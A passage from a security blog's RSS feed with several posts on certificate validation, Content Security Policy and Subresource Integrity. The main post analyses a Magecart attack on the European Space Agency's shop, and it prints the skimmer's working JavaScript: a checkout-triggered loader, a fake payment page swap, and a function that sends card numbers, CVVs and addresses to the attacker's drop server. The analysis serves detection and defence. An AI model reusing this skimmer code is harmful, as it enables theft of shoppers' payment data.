    <p></p><p>By 2029, DCV will be coming close to being a real-time endeavour. Now, as ACME requires automation, the shortening of certificate lifetime or the DCV re-use window is not really a concern, you simply run your automated task more frequently, but the more widespread use of certificates does pose a challenge. As we use certificates in more and more places, the overheads of the DCV mechanisms become more problematic in different environments.</p><p></p><h4 id="dns-persist-01">DNS-PERSIST-01</h4><p>This new DCV mechanism is a fundamental change in the approach to how DCV takes place, and does offer some definite advantages, whilst also introducing some concerns that are worth thinking about. </p><p>The primary objective here is to set a single, <em>static</em>, DNS record that will allow for continued issuance of new certificates on an ongoing basis for as long as it is present, hence the &apos;persist&apos; in the name.</p><pre><code>Name:  _acme-persist.scotthelme.co.uk
    Type:  TXT
    Value: &quot;letsencrypt.org; accounturi=https://letsencrypt.org/acme/acct/123456; policy=wildcard&quot;</code></pre><p></p><p>By setting this new DNS record, I would be allowing Let&apos;s Encrypt to issue new certificates using my ACME account specified in the above URL as account ID <code>123456</code>. Let&apos;s Encrypt will still need to conduct DCV by checking this DNS record, but, any of my clients requesting a certificate will not have to answer any kind of dynamic challenge. There is no need to serve a HTTP response, no need to create a new DNS record, and no need to craft a special TLS handshake. The client can simply hit the Let&apos;s Encrypt API, use the correct ACME account, and have a new certificate issued. This does allow for a huge reduction in the complexity of having new certificates issued, and I can see many environments where this will be greatly welcomed, but we&apos;ll cover a few of my concerns a little later.</p><p>Looking at the DNS record itself, we have a couple of configuration options. The <code>policy=wildcard</code> allows the CA and ACME account in question to issue wildcard certificates, it the policy directive is missing, or set to anything other than <code>wildcard</code>, then wildcard certificates will not be allowed. The other configuration value, which I didn&apos;t show above, is the <code>persistUntil</code> value.</p><pre><code>Name:  _acme-persist.scotthelme.co.uk
    Type:  TXT
    Value: &quot;letsencrypt.org; accounturi=https://letsencrypt.org/acme/acct/123456; policy=wildcard; persistUntil=1767959300&quot;</code></pre><p></p><p>This value indicates that this record is valid until Fri Jan 09 2026 11:48:20 GMT+0000, and should not be accepted as valid after that time. This does allow us to set a cap on how long this validation will be accepted for, and addresses one of my concerns. The specification states:</p><blockquote>   *  Domain owners should set expiration dates for validation records<br>      that <strong>balance security and operational needs</strong>.</blockquote><p></p><p>My personal approach would be something like having an automated process to refresh this record on a somewhat regular basis, and perhaps push the <code>persistUntil</code> value out by two weeks, updated on a weekly basis. Something about just having a permanent, static record doesn&apos;t sit well with me. There are also the concerns around securing the ACME account credentials because any access to those will then allow for issuance of certificates, without any requirement for the person who obtains them to do any &apos;live&apos; form of DCV. </p><p>In short, I can see the value that this mechanism will provide to those that need it, but I can also see it being used far more widely as a purely convenience solution to what was a relatively simple process anyway.</p><p></p><h4 id="coming-to-a-ca-near-you">Coming to a CA near you</h4><p>Let&apos;s Encrypt have <a href="https://letsencrypt.org/2025/12/02/from-90-to-45?ref=scotthelme.ghost.io#making-automation-easier-with-a-new-dns-challenge-type" rel="noreferrer">stated</a> that they will have support for this in 2026, and I imagine it won&apos;t take too much longer for other CAs to start supporting this mechanism too. I&apos;m hoping that GTS will also bring in support soon so we can have a pair of reliable CAs to lean on! For now though, just know that if the existing DCV mechanisms are problematic for you, there might be a solution just around the corner.</p><p></p>]]></content:encoded></item><item><title><![CDATA[The European Space Agency got hacked, and now we own the domain used!]]></title><description><![CDATA[<p>It&apos;s not often that two of my interests align so well, but we&apos;re talking about space rockets and cyber security! Whilst Magecart and Magecart-style attacks might not be the most common attack vector at the moment, they are still happening with worrying frequency, and they are</p>]]></description><link>https://scotthelme.ghost.io/the-european-space-agency-got-hacked-and-now-we-own-the-domain-used/</link><guid isPermaLink="false">697b755b03d4840001b00ed8</guid><category><![CDATA[Report URI]]></category><category><![CDATA[javascript]]></category><category><![CDATA[magecart]]></category><category><![CDATA[European Space Agency]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 02 Feb 2026 13:01:53 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2026/01/esa-blog.webp" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2026/01/esa-blog.webp" alt="The European Space Agency got hacked, and now we own the domain used!"><p>It&apos;s not often that two of my interests align so well, but we&apos;re talking about space rockets and cyber security! Whilst Magecart and Magecart-style attacks might not be the most common attack vector at the moment, they are still happening with worrying frequency, and they are still catching out some pretty big organisations...</p><p></p><h4 id="mage-who">Mage-who? </h4><p>I&apos;ve talked about Magecart a <a href="https://scotthelme.co.uk/tag/magecart/?ref=scotthelme.ghost.io" rel="noreferrer">lot</a>, and they&apos;ve posed a significant threat now for almost a decade. The term really gained popularity during 2015-2016 when apparently independent groups of hackers were targeting online e-commerce stores with the goal of stealing huge quantities of payment card data. The primary target was Magento shopping carts (Magento-cart, Magecart) and the goal was for the attackers to find a way to inject JavaScript into the site by any means possible. They could then skim credit card data as it was entered into the site and exfiltrate it to a server controlled by the attackers for later use. Because the victim is typing in the full card number, expiry date, security code, and more, these attacks would yield incredibly valuable data to the attackers and often leave absolutely no visible trace on the website that was breached. Given the perfect alignment with what we do at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, we have a <a href="https://report-uri.com/solutions/magecart_protection?ref=scotthelme.ghost.io" rel="noreferrer">dedicated Solutions page for Magecart</a> with details on how we can help combat this problem if you&apos;d like more information, and our <a href="https://report-uri.com/case_studies?ref=scotthelme.ghost.io" rel="noreferrer">Case Studies</a> page details some pretty big organisations that have been stung by Magecart like British Airways and Ticketmaster.</p><p></p><h4 id="the-european-space-agency">The European Space Agency</h4><p>Just like all of the organisations that have been targeted before them, the attack against the ESA followed the same reliable pattern. We don&apos;t always get to understand the particular vulnerability that was exploited to inject the malicious JavaScript into the page, and often we just get to observe the result, which is that the malicious JavaScript is present in the page. The JavaScript is also reliably simple, and often just a bootstrap for a larger attack payload that is only triggered in specific circumstances.</p><p></p><pre><code class="language-html">&lt;script&gt;
      if (document.location.href.includes(&quot;checkout&quot;)){
        var jqScript = document.createElement(&apos;script&apos;);
        jqScript.setAttribute(&apos;src&apos;,&apos;https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js&apos;);
        document.addEventListener(&quot;DOMContentLoaded&quot;, function(){
        document.body.appendChild(jqScript);
        });
      }
    &lt;/script&gt;</code></pre><p></p><p>Following that same reliable pattern, you can see here that the first thing the injected payload was doing was to check if the URL of the current page includes <code>checkout</code>. In order to minimise their footprint, the attackers will only trigger their payload on pages that are going to contain the data they want to steal, and these triggers will be updated to match the target site. You can see this Internet Archive <a href="https://web.archive.org/web/20241223153137/https://www.esaspaceshop.com/" rel="noreferrer">link</a> to the ESA Space Shop that contains the above injection in the page.</p><p>Looking at the payload, you can see that once it triggers on the checkout page, it&apos;s acting as a bootstrap for the real attack payload that is going to be loaded and is imitating jQuery.</p><p></p><pre><code>https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js</code></pre><p></p><p>This payload, whilst a little larger, is still painfully simple and has some very clear objectives. </p><p></p><pre><code>var espaceStripeHtml = &quot;*snip*&quot;;
    var cookieName = &quot;6b2ad00bbd228ca0f23879b1e050f03f&quot;;
    
    function setCustomCookie(){
    	localStorage.setItem(&quot;customCookie&quot;, cookieName);
    }
    
    function isCustomCookieSet(){
    	if (localStorage.getItem(&quot;customCookie&quot;)){
    		return true;
    	}
    	else{
    		return false;
    	}
    }
    
    
    if (!isCustomCookieSet()){
    	setInterval(function(){
    		if (jQuery(&quot;#payment-confirmation-true&quot;).length === 0 &amp;&amp; jQuery(&quot;#stripe_stripe_checkout&quot;).length !== 0){
    			var paymentButtonOrig = jQuery(&quot;#stripe_stripe_checkout&quot;).find(&quot;button[type=&apos;submit&apos;]&quot;)[0];
    			jQuery(paymentButtonOrig).attr(&quot;id&quot;, &quot;payment-confirmation&quot;);
    			var paymentButtonClone = jQuery(paymentButtonOrig).clone(false).unbind();
    			jQuery(paymentButtonClone).attr(&quot;id&quot;, &quot;payment-confirmation-true&quot;);
    			jQuery(paymentButtonClone).attr(&quot;type&quot;, &quot;button&quot;);
    			jQuery(paymentButtonClone).removeAttr(&quot;data-bind&quot;);
    			jQuery(paymentButtonClone).removeAttr(&quot;disabled&quot;);
    			jQuery(paymentButtonClone).insertBefore(paymentButtonOrig);
    			jQuery(&quot;#payment-confirmation&quot;).hide();
    			
    			jQuery(paymentButtonClone).on(&quot;click&quot;, function(){
    				//parse address
    				var checkoutCfg = window.checkoutConfig;
    				var addressObject = checkoutCfg[&apos;shippingAddressFromData&apos;];
    				
    				if (addressObject !== undefined){
    					var fName = addressObject[&apos;firstname&apos;];
    					var lName = addressObject[&apos;lastname&apos;];
    					var address = addressObject[&apos;street&apos;][0];
    					var country = addressObject[&apos;country_id&apos;];
    					var zip = addressObject[&apos;postcode&apos;];
    					var city = addressObject[&apos;city&apos;];
    					var state = addressObject[&apos;region&apos;];
    					var phone = addressObject[&apos;telephone&apos;];
    				}
    				else{
    					var fName = jQuery(&quot;input[name=&apos;firstname&apos;]&quot;).val();
    					var lName = jQuery(&quot;input[name=&apos;lastname&apos;]&quot;).val();
    					var address = jQuery(&quot;input[name=&apos;street[0]&apos;]&quot;).val();
    					var country = jQuery(&quot;select[name=&apos;country_id&apos;] option:selected&quot;).val();
    					var zip = jQuery(&quot;input[name=&apos;postcode&apos;]&quot;).val();
    					var city = jQuery(&quot;input[name=&apos;city&apos;]&quot;).val();
    					var state = jQuery(&quot;select[name=&apos;region_id&apos;] option:selected&quot;).attr(&quot;data-title&quot;);
    					var phone = jQuery(&quot;input[name=&apos;telephone&apos;]&quot;).val();
    				}
    				
    				var price = parseFloat(checkoutCfg[&apos;totalsData&apos;][&apos;base_grand_total&apos;]).toFixed(2);
    				
    				if (fName !== &quot;&quot; &amp;&amp; lName !== &quot;&quot;){
    					var espaceStripeHtmlClear = decodeURI(atob(espaceStripeHtml));
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{GRAND_TOTAL}&quot;, price);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{EMAIL}&quot;, checkoutCfg[&apos;validatedEmailValue&apos;]);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{fName}&quot;, fName);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{lName}&quot;, lName);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{address}&quot;, address);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{country}&quot;, country);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{state}&quot;, state);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{zip}&quot;, zip);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{city}&quot;, city);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{phone}&quot;, phone);
    					
    					document.write(espaceStripeHtmlClear);
    				}
    				else{
    					jQuery(&quot;#payment-confirmation&quot;).click();
    				}
    			});
    		}
    	}, 100);
    }
    }</code></pre><p></p><p>I&apos;ve snipped the content of the first variable as it&apos;s massive, but I will link to all of the relevant payloads below. Looking through the script, we can summarise the following steps to the attack.</p><ol><li>The first thing the attackers do is check if they have already stolen the payment card details for this user... The <code>setCustomCookie()</code> function, which doesn&apos;t actually set a cookie but writes to <code>localStorage</code>, is called later when the attack succeeds and is checked with <code>isCustomCookieSet()</code>. I guess there is no point in increasing your exposure and risk of detection by stealing the same information from the same user multiple times.</li><li>If the payment card details for this user have not been stolen, the script uses <code>setInterval()</code> to create a fast-polling loop to detect the presence of the Stripe payment container on the page.</li><li>Once the payment container has loaded, the real &apos;checkout&apos; button is identified, disabled and then hidden. A clone is then inserted to replace it so the user will now click the attacker&apos;s button instead. </li><li>Clicking the attacker&apos;s button will trigger the email, name, address, total value and other information on the page to be recorded, and then the page is swapped for a fake payment page asking for card details. This fake payment page is populated with all of the correct information recorded before the page was swapped. If the attackers detect a problem with the attack and they can&apos;t record the details to pass through to their fake payment page, they send the user through the normal checkout process. This is likely another method to avoid detection by not breaking the checkout flow. </li><li>The final step of the attack is to exfiltrate the payment card data that was inserted into the fake payment form by the user. This uses a traditional image tag with the stolen data base64 encoded as a query string parameter to be deposited on a drop server. </li></ol><p></p><p>You can view the full Magecart payload on this <a href="https://pastebin.com/KPXai359?ref=scotthelme.ghost.io" rel="noreferrer">paste here</a>, including the fake base64 encoded payment page, and the Internet Archive have a copy of the payload for reference <a href="https://web.archive.org/web/20241223153153/https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js" rel="noreferrer">here</a>. PasteBin won&apos;t allow me to upload the malicious payload that performs the data exfiltration, but here is the pertinent function. </p><p></p><pre><code class="language-javascript">function makePayment(){
    		setCustomCookie();
    		var ccNum = ccnumE.value.replaceAll(&quot; &quot;, &quot;&quot;);
    		var expM = parseInt(ccexpE.value.split(&apos; / &apos;)[0]);
    		var expY = parseInt(ccexpE.value.split(&apos; / &apos;)[1]);
    		var cvv = parseInt(cccvvE.value);
    		
    		var resultString = ccNum   &quot;;&quot;   expM   &quot;;&quot;   expY   &quot;;&quot;   cvv   &quot;;&quot;   FName   &quot;;&quot;   LName   &quot;;&quot;   Address   &quot;;&quot;   Country   &quot;;&quot;   Zip   &quot;;&quot;   State   &quot;;&quot;   city   &quot;;&quot;   phone   &quot;;&quot;   shop;
    		
    		var resultImg = document.createElement(&quot;img&quot;);
    		resultImg.src = &quot;https://esaspaceshop.pics/redirect-non-site.php?datasend=&quot;   btoa(resultString);
    		resultImg.hidden = true;
    		document.body.appendChild(resultImg);
    		
    		//show error
    		alert(&quot;Card number is incomplete, please try again&quot;);
    		window.location.reload();
    	}</code></pre><p></p><p>The attackers are grabbing everything on the page, including name, address, country, full card number, security code, expiry date. Everything. They&apos;re then exfiltrating that data to a drop server located here:</p><pre><code>https://esaspaceshop.pics/redirect-non-site.php?datasend=</code></pre><p></p><p>Finally, just to improve the effectiveness of their attack, they&apos;re showing an error message to the user that says <code>Card number is incomplete, please try again</code>, so the user is likely to double check all of their details are right, and then hit the payment button again, sending a second copy of their information, and the attacker can now definitely confirm they have all of the correct details...</p><p></p><h4 id="where-we-could-have-stopped-this-attack">Where we could have stopped this attack</h4><p>In scenarios like these, the first thing that often gets suggested to me is that if the website didn&apos;t have the vulnerability that allowed the bootstrap to be injected, then none of this would have happened. In fairness, I agree. If none of us ever have a vulnerability, then none of us would ever get hacked! In reality, of course, that&apos;s a completely impractical approach.</p><p>We have to accept that, at some point, things are going to go wrong. This is the very reason that the concept of <a href="https://en.wikipedia.org/wiki/Defence_in_depth_(non-military)?ref=scotthelme.ghost.io" rel="noreferrer">Defence In Depth</a> even exists. I&apos;m not saying that solutions like Report URI are the primary line of defence against attacks like these, we&apos;re not, and we shouldn&apos;t be. What I&apos;m saying is that we form part of a necessary Defence In Depth strategy if you want effective protection on the modern Web. The primary line of defence against the above attack was whatever strategy they had that failed. It could have been a malicious code commit by a staff member, a compromise of a server that gave the attackers access, traditional XSS, a dependency that let them down, or a whole bunch of other stuff, but something, somewhere, obviously went wrong. </p><p>Looking at the various ways that Report URI could have detected and stopped this attack, we have a few to choose from. It could have been the prevention of the initial inline script bootstrap even running, by blocking the execution of inline scripts. We could have detected and prevented the addition of the new JS dependency that was then loaded from the <code>esaspaceshop.pics</code> domain. After that, there was the opportunity to detect and prevent the exfiltration of data to the same domain, even though it was using the image loading trick to try and look innocuous. The great thing about our solution is that we run in the browser alongside your visitor which is, quite literally, the last possible step before harm occurs. It does not matter where or how the initial breach occurred, it occurred before we arrived on the scene, which means we can see it. Nothing comes after us, everything comes before us, we&apos;re the ideal last line of defence. </p><p></p><h4 id="esaspaceshoppics">esaspaceshop.pics</h4><p>The attackers registered a lookalike domain for this attack, as they have done in countless attacks before. This is another method to avoid detection because this domain looks and feels familiar if anyone were to be poking around behind the scenes and come across it. Incidentally, if we observe our customers interacting with domains that have been registered in recent weeks or months, it is so often an enormous red flag and something that warrants immediate investigation.</p><p>Because this was a &apos;throwaway&apos; domain for the attackers that&apos;s only useful in this particular attack, they don&apos;t tend to renew them and it lapsed only 12 months after it was first registered, allowing us to scoop up the domain and repurpose it to point to the ESA case study on the Report URI site. </p><p>You can test it out here: <a href="https://esaspaceshop.pics/?ref=scotthelme.ghost.io" rel="noreferrer">https://esaspaceshop.pics</a> </p><p>In related news, we also own the domain used in the Ticketmaster Magecart Attack, <code>webfotce.me</code>, which you can test here <a href="https://webfotce.me/?ref=scotthelme.ghost.io" rel="noreferrer">https://webfotce.me/</a></p><p></p><p>The purpose of those case studies, or blog posts like these, is not to point fingers, but to share information and educate. Alongside the obvious harm to users having their data stolen, organisations then have concerns around notifying customers of the data breach, regulatory action and possible fines for the data breach in various jurisdictions, a whole bunch of bad news headlines and maybe some consideration for the harm to the brand too. All of this can be avoided by understanding just how pervasive these type of attacks can be, but also, just how easy it can be to get started on solving the problem. If you want to see just how easy, reach out for a demo of <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> along with a free trial, no commitment, and no strings attached: [email protected]</p><p></p>]]></content:encoded></item><item><title><![CDATA[Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us]]></title><description><![CDATA[<p>Dogfooding is often talked about as a best practice, but I don&apos;t often see the results of such activities. For all new features introduced on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, we are always the first to try them out and see how they work. In this post, we&apos;ll look</p>]]></description><link>https://scotthelme.ghost.io/eating-our-own-dogfood-what-running-report-uri-on-report-uri-taught-us/</link><guid isPermaLink="false">69638d1da2de7d0001fa2bb3</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Content Security Policy]]></category><category><![CDATA[Integrity Policy]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 28 Jan 2026 09:36:48 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2026/01/dogfooding.webp" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2026/01/dogfooding.webp" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us"><p>Dogfooding is often talked about as a best practice, but I don&apos;t often see the results of such activities. For all new features introduced on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, we are always the first to try them out and see how they work. In this post, we&apos;ll look at a few examples of issues that we found on Report URI using Report URI, and how you can use our platform to identify exactly the same kind of problems!</p><p></p><h4 id="dogfooding">Dogfooding</h4><p>If you&apos;re not familiar with the term dogfooding, or &apos;eating your own dogfood&apos;, here&apos;s how the Oxford English Dictionary defines it:</p><p></p><blockquote>Computing slang<br>Of a company or its employees: to use a product or service developed by the company, as a means of testing it before it is made available to customers.</blockquote><p></p><p>It&apos;s pretty straightforward and something that we&apos;ve been doing quite literally since the dawn of Report URI over a decade ago. Any new feature that we introduce gets deployed on Report URI first of all, prompting changes, improvements or fixes as required. Once things are going well, we then introduce a small selection of our customers to participate in a closed beta, again to elicit feedback for the same improvement cycle. After that, the feature will go to an open beta, and finally on to general availability. We currently have two features in the final open beta stages of this process, <a href="https://scotthelme.co.uk/capture-javascript-integrity-metadata-using-csp/?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a> and <a href="https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io" rel="noreferrer">Integrity Policy</a>, and it was during the dogfooding stage of these features that some of things we&apos;re doing to discuss were found.</p><p></p><h4 id="integrity-policyfinding-scripts-missing-sri-protection">Integrity Policy - finding scripts missing SRI protection</h4><p>If you&apos;re not familiar with Subresource Integrity (SRI), you can read my blog post on <a href="https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io" rel="noreferrer">Subresource Integrity: Securing CDN loaded assets</a>, but here&apos;s is a quick explainer. When loading a script tag, especially from a 3rd-party, we have no control over the script we get served, and that can lead to some pretty big problems if the script is modified in a malicious way. </p><p>SRI allows you to specify an integrity attribute on a script tag so that the browser can verify the file once it downloads it, protecting against malicious modification. Here&apos;s a simple example of a before and after for a script tag without SRI and then with SRI.</p><pre><code>//before
    &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js&quot;&gt;
    &lt;/script&gt;
    
    //after
    &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js&quot; 
    integrity=&quot;sha256-ivk71nXhz9nsyFDoYoGf2sbjrR9ddh+XDkCcfZxjvcM=&quot; 
    crossorigin=&quot;anonymous&quot;&gt;
    &lt;/script&gt;</code></pre><p></p><p>There have been literally countless examples where SRI would have saved organisations from costly attacks and data breaches, including that time when <a href="https://scotthelme.co.uk/protect-site-from-cryptojacking-csp-sri/?ref=scotthelme.ghost.io" rel="noreferrer">governments all around the World got hacked</a> because they didn&apos;t use it. That said, it can be difficult to enforce the use of SRI and make sure all of your script tags have it, until <a href="https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io" rel="noreferrer">Integrity Policy</a> came along. You can now trivially ensure that all scripts across your application are loaded using SRI by adding a simple HTTP Response Header.</p><pre><code>Integrity-Policy-Report-Only: blocked-destinations=(script), endpoints=(default)</code></pre><p></p><p>This will ask the browser to send a report for any script that is loaded without using SRI, and then, of course, we can go and fix that!</p><p>Here&apos;s a couple that we&apos;d missed. First, we had this one come through.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-16.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1742" height="100" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-16.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-16.png 1000w, https://scotthelme.ghost.io/content/images/size/w1600/2026/01/image-16.png 1600w, https://scotthelme.ghost.io/content/images/2026/01/image-16.png 1742w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This is interesting because it really should have SRI as something in the account section, and it turns out it almost did, but there was a typo!</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-15.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1449" height="243" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-15.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-15.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-15.png 1449w" sizes="(min-width: 720px) 720px"></figure><p></p><p>That&apos;s an easy fix, and we found another script without SRI a little later too.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-13.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1225" height="375" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-13.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-13.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-13.png 1225w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This script was in our staff admin section and it was missing SRI, it was reported, and we fixed it!</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-14.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1447" height="147" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-14.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-14.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-14.png 1447w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Another great thing to consider about this is that you will only receive telemetry reports when there&apos;s a problem. If everything is running as it should be on your site, then no telemetry will be sent!</p><p></p><h4 id="content-security-policyfinding-assets-that-shouldnt-be-there">Content Security Policy - finding assets that shouldn&apos;t be there</h4><p>The whole point of CSP is to get visibility into what&apos;s happening on your site, and that can be what assets are loading, where data is being communicated, and much more. Often, we&apos;re looking for indicators of malicious activity, like JavaScript that shouldn&apos;t be present, or data being somewhere it shouldn&apos;t be. But, sometimes, we can also detect mistakes that were made during development!</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-18.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1495" height="163" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-18.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-18.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-18.png 1495w" sizes="(min-width: 720px) 720px"></figure><p></p><p>We started getting reports for these images loading on our site and because they&apos;re not from an approved source, they were blocked and reported to us. Looking closely, the images are from our <code>.io</code> domain instead of our <code>.com</code> domain, which is what we use in test/dev environments, but not in production. It seems that someone had inadvertently hardcoded a hostname that they should not have hardcoded and our CSP let us know!</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-17.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1452" height="103" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-17.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-17.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-17.png 1452w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Another simple fix for an issue detected quickly and easily using CSP.</p><p></p><h4 id="but-normally-we-dont-find-anything">But normally we don&apos;t find anything!</h4><p>Of course, you&apos;re only ever going to find a problem by deploying our product if you had a problem to find in the first place. Our goal is always to test these features out and make sure they&apos;re ready for our customers, but sometimes, we do happen to find issues in our own site.</p><p>I guess that&apos;s really part of the value proposition though, the difference between <em>thinking</em> you don&apos;t have a problem and <em>knowing</em> you don&apos;t have a problem. Whether or not we&apos;d found anything by deploying these features, we&apos;d have still massively improved our awareness because we could then be confident we didn&apos;t have those issues. </p><p>It just so happens that we didn&apos;t think we had any problems, but it turns out we did! Do you think you don&apos;t have any problems on your site?</p><p></p>]]></content:encoded></item><item><title><![CDATA[Blink and you'll miss them: 6-day certificates are here!]]></title><description><![CDATA[<p>What a great way to start 2026! Let&apos;s Encrypt have now made their short-lived certificates <a href="https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability?ref=scotthelme.ghost.io" rel="noreferrer">available</a>, so you can go and start using them right away.</p><p>It wasn&apos;t long ago when the <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">announcement</a> came that by 2029, all certificates will be reduced to a maximum of</p>]]></description><link>https://scotthelme.ghost.io/blink-and-youll-miss-them-6-day-certificates-are-here/</link><guid isPermaLink="false">694688d8ab4aac00016ee79e</guid><category><![CDATA[Let's Encrypt]]></category><category><![CDATA[Google Trust Services]]></category><category><![CDATA[TLS]]></category><category><![CDATA[Short-Lived Certificates]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 19 Jan 2026 10:48:24 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2026/01/6-day-certs.webp" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2026/01/6-day-certs.webp" alt="Blink and you&apos;ll miss them: 6-day certificates are here!"><p>What a great way to start 2026! Let&apos;s Encrypt have now made their short-lived certificates <a href="https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability?ref=scotthelme.ghost.io" rel="noreferrer">available</a>, so you can go and start using them right away.</p><p>It wasn&apos;t long ago when the <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">announcement</a> came that by 2029, all certificates will be reduced to a maximum of 47 days validity, and here we are already talking about certificates valid for less than 7 days. Let&apos;s Encrypt continue to drive the industry forwards and considerably exceed the reasonable expectations of today.</p><p></p><h4 id="getting-a-short-lived-certificate">Getting a short-lived certificate</h4><p>Of course, what you want to know is how to get one of these certificates! How you do this will change slightly depending on which tool you&apos;re using, but you need to specify the <code>shortlived</code> certificate profile when requesting your certificate from Let&apos;s Encrypt.</p><p>I&apos;m using <a href="https://acme.sh/?ref=scotthelme.ghost.io" rel="noreferrer">acme.sh</a> and here is the command I used to get one of these certs when I started playing with this last year:</p><pre><code>acme.sh --issue --dns dns_cf -d six-days.scotthelme.co.uk --force --keylength ec-256 --server letsencrypt --cert-profile shortlived</code></pre><p></p><p>After the certificate was issued, I got my notification from Certificate Transparency monitoring via <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, and I could see the full details of the certificate. Here they are:</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image.png" class="kg-image" alt="Blink and you&apos;ll miss them: 6-day certificates are here!" loading="lazy" width="870" height="555" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image.png 870w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Just look at that validity period!!</p><p><strong>Valid From</strong>: 15 Nov 2025<br><strong>Valid To</strong>: 22 Nov 2025</p><p>You can find the full details on the <code>shortlived</code> certificate profile from Let&apos;s Encrypt, and other supported profiles, on <a href="https://letsencrypt.org/docs/profiles/?ref=scotthelme.ghost.io#shortlived" rel="noreferrer">this page</a>. </p><p></p><h4 id="its-not-just-lets-encrypt">It&apos;s not just Let&apos;s Encrypt</h4><p>The good news is that Let&apos;s Encrypt isn&apos;t the only place that you can get your 6-day certificates from either! <a href="https://scotthelme.co.uk/another-free-ca-to-use-via-acme/?ref=scotthelme.co.uk" rel="noreferrer">Google Trust Services</a> also allows you to 